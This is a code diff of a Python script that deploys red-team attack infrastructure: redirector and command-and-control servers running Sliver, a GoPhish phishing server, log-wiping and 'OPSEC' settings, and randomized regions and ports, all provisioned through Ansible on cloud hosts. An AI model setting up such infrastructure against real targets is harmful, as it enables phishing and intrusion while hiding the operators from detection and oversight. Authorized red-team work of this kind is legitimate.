- 'disable_history': config.get('disable_history', True),
- 'secure_memory': config.get('secure_memory', True),
- 'zero_logs': config.get('zero_logs', True),
- 'domain': config.get('domain', 'example.com'),
- 'letsencrypt_email': config.get('letsencrypt_email', 'admin@example.com'),
- 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))),
- 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"),
- 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))),
- 'ssh_port': ssh_port,
- 'ssh_key_path': ssh_key,
- 'ssh_user': config.get('ssh_user', 'root'),
- }
-
- # Format extra vars for command line, handling special characters
- extra_vars_list = []
- for k, v in extra_vars.items():
- if isinstance(v, bool):
- extra_vars_list.append(f"{k}={str(v).lower()}")
- elif isinstance(v, (int, float)):
- extra_vars_list.append(f"{k}={v}")
- elif isinstance(v, str):
- # Escape quotes in string values
- escaped_v = v.replace("'", "'\\''")
- extra_vars_list.append(f"{k}='{escaped_v}'")
-
- extra_vars_str = " ".join(extra_vars_list)
-
- # Log extra vars for debugging (masking sensitive info)
- with open(log_file, 'a') as f:
- f.write("==== EXTRA VARS ====\n")
- for k, v in extra_vars.items():
- if k in ['smtp_auth_pass']:
- v_masked = str(v)[:4] + '****' if v else 'None'
- f.write(f"{k}: {v_masked}\n")
- else:
- f.write(f"{k}: {v}\n")
- f.write("==== END EXTRA VARS ====\n\n")
-
- # Common provisioning for both servers
- if not config['c2_only'] and redirector_inventory:
- print("[+] Provisioning FlokiNET redirector...")
- cmd = f"ansible-playbook -i {redirector_inventory} FlokiNET/provision.yml -e '{extra_vars_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING REDIRECTOR PROVISION PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- if config['debug']:
- print(f"[+] Running: {cmd}")
-
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] Redirector provisioning failed. See {log_file} for details.")
- return False, [log_file], deployed_resources
-
- # Run redirector-specific playbook
- print("[+] Configuring FlokiNET redirector...")
- cmd = f"ansible-playbook -i {redirector_inventory} FlokiNET/redirector.yml -e '{extra_vars_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING REDIRECTOR CONFIGURATION PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- if config['debug']:
- print(f"[+] Running: {cmd}")
-
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] Redirector configuration failed. See {log_file} for details.")
- return False, [log_file], deployed_resources
-
- # Store SSH key path for later
- config['redirector_ip'] = redirector_ip
- config['redirector_key_path'] = ssh_key
-
- if not config['redirector_only'] and c2_inventory:
- print("[+] Provisioning FlokiNET C2 server...")
- cmd = f"ansible-playbook -i {c2_inventory} FlokiNET/provision.yml -e '{extra_vars_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING C2 PROVISION PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- if config['debug']:
- print(f"[+] Running: {cmd}")
-
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] C2 server provisioning failed. See {log_file} for details.")
- return False, [log_file], deployed_resources
-
- # Run C2-specific playbook
- print("[+] Configuring FlokiNET C2 server...")
- cmd = f"ansible-playbook -i {c2_inventory} FlokiNET/c2.yml -e '{extra_vars_str}'"
-
- with open(log_file, 'a') as f:
- f.write(f"==== RUNNING C2 CONFIGURATION PLAYBOOK ====\n")
- f.write(f"Command: {cmd}\n\n")
-
- if config['debug']:
- print(f"[+] Running: {cmd}")
-
- success, stdout, stderr = run_command_with_logging(cmd, config, log_file)
- if not success:
- print(f"[-] C2 server configuration failed. See {log_file} for details.")
- return False, [log_file], deployed_resources
-
- # Store SSH key path for later
- config['c2_ip'] = c2_ip
- config['c2_key_path'] = ssh_key
-
- # Deploy tracker if requested
- if config.get('deploy_tracker'):
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYING TRACKER MODULE ====\n")
-
- tracker_success = deploy_tracker_module(config)
-
- with open(log_file, 'a') as f:
- f.write(f"Tracker deployment {'succeeded' if tracker_success else 'failed'}\n")
- f.write(f"==== END TRACKER DEPLOYMENT ====\n\n")
-
- if not tracker_success:
- print("[!] Warning: Tracker deployment failed, but continuing with main deployment")
-
- print("[+] FlokiNET infrastructure deployed successfully!")
- success = True
-
- # Log success
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT SUCCESSFUL ====\n")
- if not config['c2_only']:
- f.write(f"Redirector IP: {redirector_ip}\n")
- if not config['redirector_only']:
- f.write(f"C2 IP: {c2_ip}\n")
- f.write(f"==== END DEPLOYMENT SUCCESS ====\n\n")
-
- return success, [log_file], deployed_resources
-
- except Exception as e:
- # Log exception details
- with open(log_file, 'a') as f:
- f.write(f"==== DEPLOYMENT ERROR ====\n")
- f.write(f"Error: {str(e)}\n")
- import traceback
- f.write(f"Traceback: {traceback.format_exc()}\n")
- f.write(f"==== END DEPLOYMENT ERROR ====\n\n")
-
- print(f"[-] Error: Failed to deploy FlokiNET infrastructure: {e}")
-
- return False, [log_file], deployed_resources
-
- finally:
- # Clean up temporary inventory files
- for inv_file in [redirector_inventory, c2_inventory]:
- if inv_file and os.path.exists(inv_file):
- # Securely overwrite before removal for better OPSEC
- with open(inv_file, 'w') as f:
- f.write('\0' * 1024) # Overwrite with null bytes
- os.remove(inv_file)
-
- with open(log_file, 'a') as f:
- f.write(f"Inventory file {inv_file} removed successfully\n")
-
- if config.get('debug'):
- print(f"[+] Removed temporary inventory file: {inv_file}")
-
- # If this is a new key and deployment failed, remove it
- if not success and ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2itall_")):
- try:
- with open(log_file, 'a') as f:
- f.write(f"==== REMOVING GENERATED SSH KEY ====\n")
- f.write(f"Removing SSH key: {ssh_key}\n")
-
- os.remove(ssh_key)
- if os.path.exists(f"{ssh_key}.pub"):
- os.remove(f"{ssh_key}.pub")
- print(f"[+] Removed generated SSH key due to deployment failure")
-
- with open(log_file, 'a') as f:
- f.write(f"SSH key removed successfully\n")
- f.write(f"==== END SSH KEY REMOVAL ====\n\n")
- except Exception as key_err:
- print(f"[!] Failed to remove SSH key {ssh_key}: {key_err}")
-
- with open(log_file, 'a') as f:
- f.write(f"Failed to remove SSH key: {key_err}\n")
- f.write(f"==== END SSH KEY REMOVAL ====\n\n")
-
-def prepare_flokinet_vars(config):
- """Prepare FlokiNET vars.yaml with dynamic values"""
- vars_file = 'FlokiNET/vars.yaml'
-
- # Check if template exists, create it if not
- if not os.path.exists(vars_file):
- # Default template content with enhanced OPSEC
- template = {
- 'flokinet_region_choices': ['iceland', 'romania', 'finland', 'netherlands'],
- 'redirector_ip': config['flokinet_redirector_ip'],
- 'c2_ip': config['flokinet_c2_ip'],
- 'domain': config['domain'],
- 'redirector_subdomain': 'cdn',
- 'c2_subdomain': 'mail',
- 'letsencrypt_email': config['letsencrypt_email'],
- 'ssh_port': config.get('ssh_port', random.randint(20000, 65000)),
- 'ssh_user': config['ssh_user'],
- 'ssh_key_path': config.get('ssh_key', '~/.ssh/id_ed25519.pub'),
- 'c2_framework': 'sliver',
- 'shell_handler_port': random.randint(10000, 65000), # Random port for better OPSEC
- 'shell_handler_protocol': 'http',
- 'disable_history': config['disable_history'],
- 'secure_memory': config['secure_memory'],
- 'zero_logs': config['zero_logs'],
- 'log_rotation_hours': 6,
- 'secure_delete_tools': True,
- 'memory_clear_interval': 60,
- 'infrastructure_lifespan': 72,
- 'auto_rotate_certs': True,
- 'cert_rotation_days': 30,
- 'gophish_admin_port': config.get('gophish_admin_port', str(random.randint(2000, 9000))),
- 'gophish_admin_domain': f"admin.{config['domain']}",
- 'gophish_site_domain': f"portal.{config['domain']}",
- 'smtp_auth_user': config.get('smtp_auth_user', f"user{random.randint(1000, 9999)}"),
- 'smtp_auth_pass': config.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20)))
- }
-
- # Write template to file with secure permissions
- with open(vars_file, 'w') as f:
- os.chmod(vars_file, 0o600) # Readable only by owner
- yaml.dump(template, f, default_flow_style=False)
- print(f"[+] Created new FlokiNET configuration in {vars_file} (mode 0600)")
- else:
- # Read existing vars
- with open(vars_file, 'r') as f:
- vars_data = yaml.safe_load(f)
-
- # Update with dynamic values
- vars_data['redirector_ip'] = config['flokinet_redirector_ip']
- vars_data['c2_ip'] = config['flokinet_c2_ip']
-
- # Update domain and email if provided
- vars_data['domain'] = config['domain']
- vars_data['letsencrypt_email'] = config['letsencrypt_email']
-
- # Update OPSEC settings
- vars_data['disable_history'] = config['disable_history']
- vars_data['secure_memory'] = config['secure_memory']
- vars_data['zero_logs'] = config['zero_logs']
- vars_data['ssh_port'] = config.get('ssh_port', vars_data.get('ssh_port', 22222))
-
- # Write updated vars back to file
- with open(vars_file, 'w') as f:
- yaml.dump(vars_data, f, default_flow_style=False)
- print(f"[+] Updated existing FlokiNET configuration in {vars_file}")
-
-def ensure_provider_files_exist(config):
- """Ensure necessary files exist for the provider"""
- provider = config['provider']
- # Check for required directories
- if not os.path.exists(provider):
- print(f"[+] Creating {provider} directory structure...")
- os.makedirs(provider, exist_ok=True)
-
- # Basic file existence checks
- required_files = {
- 'AWS': ['redirector.yml', 'c2.yml'],
- 'Linode': ['redirector.yml', 'c2.yml'],
- 'FlokiNET': ['provision.yml', 'redirector.yml', 'c2.yml']
- }
-
- # Check for shared files directory
- if not os.path.exists('files'):
- print("[+] Creating shared files directory...")
- os.makedirs('files', exist_ok=True)
-
- # Check for essential OPSEC scripts
- essential_scripts = [
- 'clean-logs.sh',
- 'persistent-listener.sh',
- 'secure-exit.sh',
- 'serve-beacons.sh'
- ]
-
- missing_files = []
-
- # Check provider-specific files
- for file in required_files.get(provider, []):
- full_path = f"{provider}/{file}"
- if not os.path.exists(full_path):
- missing_files.append(full_path)
-
- # Check shared OPSEC scripts
- for script in essential_scripts:
- if not os.path.exists(f"files/{script}"):
- missing_files.append(f"files/{script}")
-
- if missing_files:
- print(f"[!] Warning: The following files are missing:")
- for file in missing_files:
- print(f" - {file}")
- print(f"[!] You may need to create these files before deployment will work.")
- return False
-
- return True
-
-def generate_random_string(length=12):
+def generate_random_string(length=8):
"""Generate a random string of letters and digits."""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
-def generate_ssh_key(key_name):
- """Generate an SSH key with the given key name."""
+def generate_ssh_key():
+ """Generate an SSH key for deployment"""
+ rand_suffix = generate_random_string()
+ key_name = f"c2deploy_{rand_suffix}"
ssh_dir = os.path.expanduser("~/.ssh")
os.makedirs(ssh_dir, exist_ok=True)
private_key_path = os.path.join(ssh_dir, key_name)
public_key_path = f"{private_key_path}.pub"
- print(f"Generating SSH key: {key_name}")
- subprocess.run(
- ["ssh-keygen", "-t", "ed25519", "-f", private_key_path, "-N", "", "-C", ""],
- check=True
- )
-
- os.chmod(private_key_path, 0o600)
- return private_key_path, public_key_path
-
-def prepare_ssh_key(config):
- """Prepare and validate SSH key, generating a new one if needed"""
- # Check if SSH key is provided
- ssh_key = config.get('ssh_key')
-
- # If key not provided or doesn't exist, generate a new one
- if not ssh_key or not os.path.exists(os.path.expanduser(ssh_key)):
- if ssh_key and not os.path.exists(os.path.expanduser(ssh_key)):
- print(f"[-] Warning: Specified SSH key {ssh_key} not found")
-
- ssh_key = generate_ssh_key()
- if not ssh_key:
- return None, None
-
- config['ssh_key'] = ssh_key
-
- # Make sure we're using the expanded path
- ssh_key = os.path.expanduser(ssh_key)
-
- # Ensure the public key exists
- ssh_public_key = f"{ssh_key}.pub"
- if not os.path.exists(ssh_public_key):
- print(f"[-] Warning: SSH public key not found at {ssh_public_key}, generating new key pair")
- ssh_key = generate_ssh_key()
- if not ssh_key:
- return None, None
-
- config['ssh_key'] = ssh_key
- ssh_public_key = f"{ssh_key}.pub"
-
- # Read the public key content
+ logging.info(f"Generating SSH key: {key_name}")
try:
- with open(ssh_public_key, 'r') as f:
- ssh_key_content = f.read().strip()
-
- # Verify and fix permissions
- current_mode = os.stat(ssh_key).st_mode & 0o777
- if current_mode != 0o600:
- print(f"[!] SSH key has incorrect permissions: {oct(current_mode)[2:]}. Fixing to 0600...")
- os.chmod(ssh_key, 0o600)
- print(f"[+] SSH key permissions fixed")
-
- return ssh_key, ssh_key_content
- except Exception as e:
- print(f"[-] Error reading SSH public key: {e}")
- return None, None
-
-def get_instance_ip(instance_name, config):
- """Get the IP address of an EC2 instance by name"""
- try:
- cmd = [
- "aws", "ec2", "describe-instances",
- "--filters", f"Name=tag:Name,Values={instance_name}",
- "--query", "Reservations[0].Instances[0].PublicIpAddress",
- "--output", "text",
- "--region", config.get('aws_region', 'us-east-1')
- ]
-
- result = subprocess.check_output(cmd).decode().strip()
-
- if result == "None" or not result:
- # Try again with a different command format that works better in some AWS CLI versions
- cmd = [
- "aws", "ec2", "describe-instances",
- "--filters", f"Name=tag:Name,Values={instance_name}",
- "Name=instance-state-name,Values=running",
- "--query", "Reservations[*].Instances[*].PublicIpAddress",
- "--output", "text",
- "--region", config.get('aws_region', 'us-east-1')
- ]
- result = subprocess.check_output(cmd).decode().strip()
-
- if result and result != "None":
- print(f"[+] Found IP address for {instance_name}: {result}")
- return result
- else:
- print(f"[-] Could not find IP address for instance {instance_name}")
- return None
+ subprocess.run(
+ ["ssh-keygen", "-t", "ed25519", "-f", private_key_path, "-N", "", "-C", ""],
+ check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ os.chmod(private_key_path, 0o600)
+ logging.info(f"SSH key generated successfully: {private_key_path}")
+ return private_key_path
except subprocess.CalledProcessError as e:
- print(f"[-] Error getting instance IP: {e}")
+ logging.error(f"Failed to generate SSH key: {e}")
return None
-def get_linode_id(instance_name, config):
- """Get the ID of a Linode instance by name with better error handling"""
- try:
- cmd = [
- "linode-cli", "--json", "linodes", "list",
- "--label", instance_name
- ]
-
- result = subprocess.check_output(cmd, stderr=subprocess.PIPE)
-
- # Parse the JSON response
- instances = json.loads(result.decode())
-
- if instances and len(instances) > 0:
- linode_id = instances[0]['id']
- print(f"[+] Found Linode ID for {instance_name}: {linode_id}")
- return linode_id
- else:
- print(f"[*] No Linode instance found with name: {instance_name}")
- return None
- except subprocess.CalledProcessError as e:
- error_output = e.stderr.decode() if e.stderr else "No error output"
- print(f"[*] Linode CLI failed when looking up instance {instance_name}: {error_output}")
- return None
- except json.JSONDecodeError as e:
- print(f"[*] JSON parsing error when looking up instance {instance_name}: {e}")
- return None
- except Exception as e:
- print(f"[*] Unexpected error getting Linode ID for {instance_name}: {e}")
+def select_random_region(config):
+ """Select a random region from the available regions for the provider"""
+ provider = config['provider']
+
+ region_choices = []
+ if provider == "aws":
+ region_choices = config.get("aws_region_choices", [])
+ elif provider == "linode":
+ region_choices = config.get("region_choices", [])
+ elif provider == "flokinet":
+ region_choices = config.get("flokinet_region_choices", [])
+
+ if not region_choices:
+ logging.warning(f"No region choices found for {provider}")
return None
+
+ # Select random region
+ region = random.choice(region_choices)
+ logging.info(f"Selected random {provider} region: {region}")
+ return region
-def get_linode_id(instance_name, config):
- """Get the ID of a Linode instance by name with better error handling"""
- try:
- cmd = [
- "linode-cli", "--json", "linodes", "list",
- "--label", instance_name
- ]
-
- result = subprocess.check_output(cmd, stderr=subprocess.PIPE)
-
- # Parse the JSON response
- instances = json.loads(result.decode())
-
- if instances and len(instances) > 0:
- linode_id = instances[0]['id']
- print(f"[+] Found Linode ID for {instance_name}: {linode_id}")
- return linode_id
- else:
- print(f"[*] No Linode instance found with name: {instance_name}")
- return None
- except subprocess.CalledProcessError as e:
- error_output = e.stderr.decode() if e.stderr else "No error output"
- print(f"[*] Linode CLI failed when looking up instance {instance_name}: {error_output}")
- return None
- except json.JSONDecodeError as e:
- print(f"[*] JSON parsing error when looking up instance {instance_name}: {e}")
- return None
- except Exception as e:
- print(f"[*] Unexpected error getting Linode ID for {instance_name}: {e}")
- return None
+def create_inventory_file(config, deployment_type):
+ """Create a temporary inventory file for Ansible based on deployment type"""
+ inventory_content = []
+ inventory_content.append("[all:vars]")
+
+ # Add common variables
+ if config.get('ssh_key'):
+ inventory_content.append(f"ansible_ssh_private_key_file={config['ssh_key']}")
+ if config.get('ssh_user'):
+ inventory_content.append(f"ansible_user={config['ssh_user']}")
+ inventory_content.append("ansible_python_interpreter=/usr/bin/python3")
+
+ # Add specific host sections based on deployment type
+ if deployment_type == "local":
+ inventory_content.append("\n[local]")
+ inventory_content.append("localhost ansible_connection=local")
+ elif deployment_type == "redirector":
+ inventory_content.append("\n[redirectors]")
+ inventory_content.append(f"redirector ansible_host={config.get('redirector_ip', '127.0.0.1')}")
+ elif deployment_type == "c2":
+ inventory_content.append("\n[c2servers]")
+ inventory_content.append(f"c2 ansible_host={config.get('c2_ip', '127.0.0.1')}")
+
+ # Create temporary file
+ fd, inventory_path = tempfile.mkstemp(prefix=f"inventory_{deployment_type}_", suffix=".ini")
+ with os.fdopen(fd, 'w') as f:
+ f.write("\n".join(inventory_content))
+
+ logging.debug(f"Created inventory file at {inventory_path} with content:")
+ logging.debug("\n".join(inventory_content))
+
+ return inventory_path
-def ssh_to_c2(config):
- """SSH into the C2 server after successful deployment"""
- print("[+] Attempting to SSH into C2 server...")
+def run_ansible_playbook(playbook, inventory, config, debug=False):
+ """Run an Ansible playbook with the given inventory and config"""
+ # Convert config dict to JSON for extra-vars
+ # Filter out None values and complex objects
+ extra_vars = {k: v for k, v in config.items() if v is not None and not isinstance(v, (dict, list, tuple))}
+ extra_vars_json = json.dumps(extra_vars)
- # Get C2 server details
- c2_ip = config.get('c2_ip')
- key_path = config.get('c2_key_path')
-
- # Check if we have the necessary information
- if not c2_ip:
- print(f"[-] Error: No C2 IP address found")
- return False
-
- if not key_path:
- print(f"[-] Error: No SSH key path found for C2 server")
- return False
-
- # Determine user and port
- user = config.get('ssh_user', 'root')
- port = config.get('ssh_port', 22)
-
- # Wait a few seconds to ensure everything is fully set up
- print(f"[+] Waiting 10 seconds for SSH to be fully ready on {c2_ip}...")
- time.sleep(10)
-
- # Build the SSH command
- ssh_cmd = [
- "ssh",
- "-i", key_path,
- "-o", "StrictHostKeyChecking=no",
- "-o", "UserKnownHostsFile=/dev/null", # For OPSEC, don't store the host key
+ # Build command
+ cmd = [
+ "ansible-playbook",
+ "-i", inventory,
+ playbook,
+ "-e", extra_vars_json
]
- # Add port if not standard
- if port != 22:
- ssh_cmd.extend(["-p", str(port)])
+ # Add verbosity if debug mode is enabled
+ if debug:
+ cmd.append("-vvv")
- # Add user and host
- ssh_cmd.append(f"{user}@{c2_ip}")
-
- print(f"[+] Connecting to C2 server at {c2_ip}...")
- print(f"[+] SSH command: {' '.join(ssh_cmd)}")
+ # Log the command
+ logging.debug(f"Running Ansible command: {' '.join(cmd)}")
+ # Run the command
try:
- # Execute SSH command
- subprocess.call(ssh_cmd)
- return True
+ result = subprocess.run(
+ cmd,
+ check=True,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ text=True
+ )
+ logging.info(f"Playbook {playbook} executed successfully")
+ return True, result.stdout, result.stderr
+ except subprocess.CalledProcessError as e:
+ logging.error(f"Playbook {playbook} failed with exit code {e.returncode}")
+ logging.error(f"Error output: {e.stderr}")
+ return False, e.stdout, e.stderr
+
+def deploy_infrastructure(config):
+ """Deploy infrastructure based on provider and configuration"""
+ provider = config['provider']
+ logging.info(f"Deploying {provider} infrastructure...")
+
+ # Set provider-specific environment variables
+ if provider == "aws":
+ if config.get('aws_access_key'):
+ os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key']
+ if config.get('aws_secret_key'):
+ os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key']
+ elif provider == "linode":
+ if config.get('linode_token'):
+ os.environ['LINODE_TOKEN'] = config['linode_token']
+
+ # Select random region if not specified
+ if provider == "aws" and not config.get('aws_region'):
+ config['aws_region'] = select_random_region(config)
+ elif provider == "linode" and not config.get('linode_region'):
+ config['linode_region'] = select_random_region(config)
+
+ # Determine playbook path based on deployment mode
+ if config.get('redirector_only'):
+ playbook = f"{provider}/redirector.yml"
+ deployment_type = "redirector"
+ elif config.get('c2_only'):
+ playbook = f"{provider}/c2.yml"
+ deployment_type = "c2"
+ else:
+ # Full deployment
+ if provider == "flokinet":
+ # FlokiNET requires separate deployments for redirector and C2
+ redirector_success = deploy_flokinet_redirector(config)
+ if not redirector_success:
+ return False
+
+ # If redirector deployed successfully, deploy C2
+ return deploy_flokinet_c2(config)
+ else:
+ # AWS and Linode use a single playbook for full deployment
+ playbook = f"{provider}/c2-deploy.yaml"
+ deployment_type = "local"
+
+ # Create inventory file
+ inventory_path = create_inventory_file(config, deployment_type)
+
+ # Run the playbook
+ try:
+ success, stdout, stderr = run_ansible_playbook(
+ playbook, inventory_path, config, config.get('debug', False)
+ )
+
+ # Clean up inventory file
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+
+ return success
except Exception as e:
- print(f"[-] Error SSHing to C2 server: {e}")
+ logging.error(f"Deployment failed: {e}")
+
+ # Clean up inventory file
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+
return False
+def deploy_flokinet_redirector(config):
+ """Deploy FlokiNET redirector separately"""
+ logging.info("Deploying FlokiNET redirector...")
+
+ # Verify redirector IP is provided
+ if not config.get('flokinet_redirector_ip'):
+ logging.error("FlokiNET redirector IP is required")
+ return False
+
+ # Set redirector_ip in config for inventory
+ config['redirector_ip'] = config['flokinet_redirector_ip']
+
+ # Create inventory file for redirector
+ inventory_path = create_inventory_file(config, "redirector")
+
+ # Run the playbook
+ playbook = "FlokiNET/redirector.yml"
+ try:
+ success, stdout, stderr = run_ansible_playbook(
+ playbook, inventory_path, config, config.get('debug', False)
+ )
+
+ # Clean up inventory file
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+
+ return success
+ except Exception as e:
+ logging.error(f"FlokiNET redirector deployment failed: {e}")
+
+ # Clean up inventory file
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+
+ return False
-def cleanup_interrupted_deployment(provider, deployed_instances, generated_ssh_keys):
- """Clean up resources after an interrupted deployment"""
- print("[+] Cleaning up deployed resources...")
+def deploy_flokinet_c2(config):
+ """Deploy FlokiNET C2 separately"""
+ logging.info("Deploying FlokiNET C2 server...")
- # Clean up based on provider
- if provider.lower() == 'aws':
- for instance in deployed_instances:
- if isinstance(instance, tuple) and len(instance) >= 2:
- instance_name, instance_id = instance
- try:
- print(f"[+] Terminating AWS instance: {instance_name} (ID: {instance_id})")
- cmd = f"aws ec2 terminate-instances --instance-ids {instance_id}"
- subprocess.run(cmd, shell=True, check=False)
- except Exception as e:
- print(f"[!] Error terminating AWS instance {instance_name}: {e}")
+ # Verify C2 IP is provided
+ if not config.get('flokinet_c2_ip'):
+ logging.error("FlokiNET C2 IP is required")
+ return False
- elif provider.lower() == 'linode':
- for instance in deployed_instances:
- if isinstance(instance, tuple) and len(instance) >= 2:
- instance_name, instance_id = instance
- try:
- print(f"[+] Deleting Linode instance: {instance_name} (ID: {instance_id})")
- cmd = f"linode-cli linodes delete {instance_id} --yes"
- subprocess.run(cmd, shell=True, check=False)
- except Exception as e:
- print(f"[!] Error deleting Linode instance {instance_name}: {e}")
+ # Set c2_ip in config for inventory
+ config['c2_ip'] = config['flokinet_c2_ip']
- elif provider.lower() == 'flokinet':
- print("[!] FlokiNET instances must be cleaned up manually through their web interface.")
- print("[!] Please log in to your FlokiNET account and remove the deployed instances.")
+ # Create inventory file for C2
+ inventory_path = create_inventory_file(config, "c2")
- # Clean up generated SSH keys
- for ssh_key in generated_ssh_keys:
+ # Run the playbook
+ playbook = "FlokiNET/c2.yml"
+ try:
+ success, stdout, stderr = run_ansible_playbook(
+ playbook, inventory_path, config, config.get('debug', False)
+ )
+
+ # Clean up inventory file
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+
+ return success
+ except Exception as e:
+ logging.error(f"FlokiNET C2 deployment failed: {e}")
+
+ # Clean up inventory file
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+
+ return False
+
+def ssh_to_instance(config):
+ """SSH into the deployed instance"""
+ logging.info("Connecting to instance via SSH...")
+
+ # Determine which IP to use based on deployment type
+ if config.get('redirector_only'):
+ ip_key = 'redirector_ip'
+ instance_type = 'redirector'
+ else:
+ ip_key = 'c2_ip'
+ instance_type = 'C2 server'
+
+ # Use provider-specific IP if available
+ if config['provider'] == 'flokinet':
+ if config.get('redirector_only') and config.get('flokinet_redirector_ip'):
+ ip = config['flokinet_redirector_ip']
+ elif config.get('c2_only') and config.get('flokinet_c2_ip'):
+ ip = config['flokinet_c2_ip']
+ else:
+ ip = config.get(ip_key)
+ else:
+ ip = config.get(ip_key)
+
+ if not ip:
+ logging.error(f"No IP address found for {instance_type}")
+ return False
+
+ # Get SSH key and user
+ ssh_key = config.get('ssh_key')
+ if not ssh_key:
+ logging.error("No SSH key specified")
+ return False
+
+ ssh_user = config.get('ssh_user')
+ if not ssh_user:
+ logging.error("No SSH user specified")
+ return False
+
+ # Build SSH command
+ ssh_cmd = [
+ "ssh",
+ "-o", "StrictHostKeyChecking=no",
+ "-o", "UserKnownHostsFile=/dev/null",
+ "-o", "IdentitiesOnly=yes",
+ "-i", ssh_key,
+ f"{ssh_user}@{ip}"
+ ]
+
+ # Add port if specified
+ if config.get('ssh_port'):
+ ssh_cmd.extend(["-p", str(config['ssh_port'])])
+
+ logging.info(f"SSH command: {' '.join(ssh_cmd)}")
+
+ # Execute SSH command
+ try:
+ subprocess.run(ssh_cmd)
+ return True
+ except subprocess.CalledProcessError as e:
+ logging.error(f"SSH connection failed: {e}")
+ return False
+ except KeyboardInterrupt:
+ logging.info("SSH connection interrupted by user")
+ return True
+
+def cleanup_resources(config):
+ """Clean up resources if deployment fails"""
+ provider = config.get('provider')
+ logging.info(f"Cleaning up {provider} resources...")
+
+ # Use Ansible for cleanup
+ playbook = f"{provider}/cleanup.yml"
+ if os.path.exists(playbook):
+ logging.info(f"Running cleanup playbook: {playbook}")
+ inventory_path = create_inventory_file(config, "local")
try:
- print(f"[+] Removing generated SSH key: {ssh_key}")
- if os.path.exists(ssh_key):
- os.remove(ssh_key)
+ run_ansible_playbook(playbook, inventory_path, config)
+ except Exception as e:
+ logging.error(f"Cleanup playbook failed: {e}")
+ finally:
+ if os.path.exists(inventory_path):
+ os.unlink(inventory_path)
+ else:
+ logging.warning(f"No cleanup playbook found at {playbook}")
+
+ # Clean up SSH key if we generated one
+ ssh_key = config.get('ssh_key')
+ if ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2deploy_")):
+ logging.info(f"Removing generated SSH key: {ssh_key}")
+ try:
+ os.remove(ssh_key)
if os.path.exists(f"{ssh_key}.pub"):
os.remove(f"{ssh_key}.pub")
except Exception as e:
- print(f"[!] Error removing SSH key {ssh_key}: {e}")
-
- print("[+] Cleanup completed.")
-
-def run_command_with_logging(cmd, config, log_file=None):
- """Run a command and log both stdout and stderr to the deployment log"""
- try:
- print(f"[+] Running: {cmd}")
-
- # If no log file specified, create or use the deployment log
- if not log_file:
- timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
- log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "logs")
- os.makedirs(log_dir, exist_ok=True)
- log_file = os.path.join(log_dir, f"deployment_{timestamp}.log")
-
- # Append command to log file
- with open(log_file, 'a') as f:
- f.write(f"\n\n==== COMMAND EXECUTION: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} ====\n")
- f.write(f"COMMAND: {cmd}\n\n")
- f.write("OUTPUT:\n")
-
- # Execute the command and capture output
- process = subprocess.Popen(
- cmd,
- shell=True,
- stdout=subprocess.PIPE,
- stderr=subprocess.PIPE,
- universal_newlines=True
- )
-
- # Read output in real-time
- stdout_data = ""
- stderr_data = ""
-
- # Read and process output
- while True:
- # Use communicate with timeout to avoid hanging
- try:
- # Small timeout to read incrementally
- stdout, stderr = process.communicate(timeout=0.5)
- stdout_data += stdout
- stderr_data += stderr
-
- # Write to log file
- with open(log_file, 'a') as f:
- if stdout:
- f.write(f"STDOUT: {stdout}")
- print(stdout.strip())
- if stderr:
- f.write(f"STDERR: {stderr}")
- print(stderr.strip(), file=sys.stderr)
-
- # If process has completed, break
- if process.poll() is not None:
- break
-
- except subprocess.TimeoutExpired:
- # Timeout expired, continue to next iteration
- continue
-
- # Get return code
- return_code = process.poll()
-
- # Log completion status
- with open(log_file, 'a') as f:
- f.write(f"\nRETURN CODE: {return_code}\n")
- f.write(f"==== END COMMAND EXECUTION ====\n\n")
-
- # Check if command succeeded
- if return_code != 0:
- raise subprocess.CalledProcessError(return_code, cmd, stdout_data, stderr_data)
-
- return True, stdout_data, stderr_data
-
- except subprocess.CalledProcessError as e:
- # Log error details
- with open(log_file, 'a') as f:
- f.write(f"\nERROR: Command failed with return code {e.returncode}\n")
- f.write("==== END COMMAND EXECUTION WITH ERROR ====\n\n")
-
- print(f"[-] Command failed with return code {e.returncode}")
- return False, e.stdout, e.stderr
-
- except Exception as e:
- # Log unexpected error
- with open(log_file, 'a') as f:
- f.write(f"\nUNEXPECTED ERROR: {str(e)}\n")
- f.write("==== END COMMAND EXECUTION WITH UNEXPECTED ERROR ====\n\n")
-
- print(f"[-] Unexpected error running command: {e}")
- return False, "", str(e)
-
-def run_tests(config):
- """Run basic connectivity and functionality tests"""
- print("[+] Running connectivity tests...")
-
- # Test both redirector and C2 if both were deployed
- if not config.get('redirector_only') and not config.get('c2_only'):
